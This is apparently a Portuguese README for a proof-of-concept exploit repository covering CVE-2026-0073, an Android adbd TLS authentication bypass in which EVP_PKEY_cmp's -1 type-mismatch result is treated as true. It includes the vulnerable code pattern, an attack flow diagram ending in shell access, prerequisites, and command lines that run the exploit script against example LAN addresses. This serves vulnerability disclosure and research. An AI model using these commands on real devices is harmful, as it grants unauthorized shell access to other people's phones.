
CVE-2026-0073 — Bypass de autenticação TLS no daemon ADB (adbd) do Android via confusão de tipos em EVP_PKEY_cmp. Obtenha acesso shell não autorizado por WiFi usando incompatibilidade de chaves EC/Ed25519. Exploit PoC para Android 14+.
EVP_PKEY_cmp() → shell ADB não autorizadoUm bypass crítico de autenticação no daemon ADB do Android (adbd) permite que qualquer atacante na rede local obtenha um shell completo em um dispositivo alvo sem autorização do usuário.
A vulnerabilidade existe em adbd_tls_verify_cert() dentro de daemon/auth.cpp, onde EVP_PKEY_cmp() é usado como booleano. Quando a chave armazenada é RSA e o certificado de cliente TLS apresentado carrega uma chave não-RSA (EC P-256 ou Ed25519), EVP_PKEY_cmp() retorna -1 (incompatibilidade de tipo), o que é verdadeiro em C/C++, portanto authorized = true.
// Vulnerable code pattern in daemon/auth.cpp
if (EVP_PKEY_cmp(peer_key, stored_key)) { // ← BUG: -1 is truthy!
authorized = true;
}
Retorno de EVP_PKEY_cmp() | Significado | Verdadeiro em C? | Resultado |
|---|---|---|---|
1 | As chaves correspondem | ✅ | Autorizado (correto) |
0 | As chaves diferem | ❌ | Rejeitado (correto) |
-1 | Incompatibilidade de tipo | ✅ | Autorizado (BUG) |
pip install cryptography
# Interactive shell
python adb_tls_auth_bypass.py <TARGET_IP> <PORT>
# Single command execution
python adb_tls_auth_bypass.py 192.168.1.42 37521 --cmd "id"
# Verbose mode (see full protocol trace)
python adb_tls_auth_bypass.py 192.168.1.42 37521 -v --cmd "id"
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ec
python adb_tls_auth_bypass.py 192.168.1.42 5555 --key-type ed25519
Por padrão, o script tenta automaticamente EC P-256 → Ed25519 → EC/TLS 1.2 até que uma delas seja bem-sucedida.
Attacker Target (adbd)
│ │
│──── TCP connect ──────────────────►│
│──── CNXN (cleartext) ────────────►│
│◄─── STLS (TLS upgrade request) ──│
│──── STLS reply ──────────────────►│
│ │
│════ TLS 1.3 Handshake ════════════│
│ (EC P-256 client cert presented) │
│ EVP_PKEY_cmp(EC, RSA) → -1 │
│ -1 is truthy → authorized=true │
│════════════════════════════════════│
│ │
│◄─── CNXN (device info) ──────────│
│──── OPEN "shell:" ───────────────►│
│◄─── OKAY ────────────────────────│
│◄──► WRTE/OKAY (shell I/O) ──────►│
│ │
[FULL SHELL ACCESS] │
| Requisito | Detalhes |
|---|---|
| Opções do desenvolvedor | Ativadas no dispositivo de destino |
| Depuração sem fio | Ativada (ou ADB sobre TCP na porta 5555) |
| Chave RSA armazenada | O dispositivo deve ter sido emparelhado via USB pelo menos uma vez (/data/misc/adb/adb_keys) |
| Acesso à rede | O atacante deve conseguir alcançar a porta TCP do adbd |
⚠️ Importante: A chave RSA deve estar em
/data/misc/adb/adb_keys, que é preenchido via emparelhamento de depuração USB (aceitando o diálogo "Permitir depuração USB?"). O emparelhamento de depuração sem fio (adb pair) armazena as chaves em um local diferente (adb_known_hosts.pb) e NÃO satisfaz este requisito.
adb shell getprop ro.build.version.security_patch
Testado e confirmado como funcional em:
Kernel: 6.1.23-android14-4-00257-g7e35917775b8-ab9964412
Platform: Android 14 (Android Studio Emulator)
Este fork inclui várias melhorias:
select() para suporte multiplataforma-vCVE-2026-0073-Android-ADBD-bypass-POC/
├── adb_tls_auth_bypass.py # Main exploit script
└── README.md # This file
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha a autorização adequada antes de testar. O autor não assume qualquer responsabilidade pelo uso indevido deste software.
EVP_PKEY_cmpSe isto ajudou a sua pesquisa, deixe uma ⭐